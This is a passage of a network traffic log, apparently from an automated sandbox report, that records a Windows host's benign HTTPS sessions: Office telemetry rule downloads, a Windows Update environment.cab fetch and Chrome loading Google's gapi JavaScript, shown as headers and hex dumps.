48	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:20 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:20 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034120Z-16547b76f7fr5rfnhC1DFW0am400000002tg0000000036p4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:20 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:20 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:20 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034120Z-1866b5c5fbbls4jchC1DFWnmb400000000rg0000000002e2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 03:41:20 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034120Z-1866b5c5fbbkcpv2hC1DFWf1yc00000005e00000000008v4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49767	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FL+ShEAnHopKa4V&MD=rS2V3E2R HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 03:41:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ebef9f08-8469-420a-a913-3c1f0be42544 MS-RequestId: 92023655-4cf6-471c-a57f-d5291fbeabf1 MS-CV: 2Qs+KQpuTkmHtBL2.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 03:41:20 GMT Connection: close Content-Length: 24490
2024-11-18 03:41:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 03:41:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49774	142.250.184.238	443	6748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:21 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 03:41:21 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Nov 2024 00:30:46 GMT Expires: Sat, 15 Nov 2025 00:30:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 270635 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-18 03:41:21 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-18 03:41:21 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:21 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
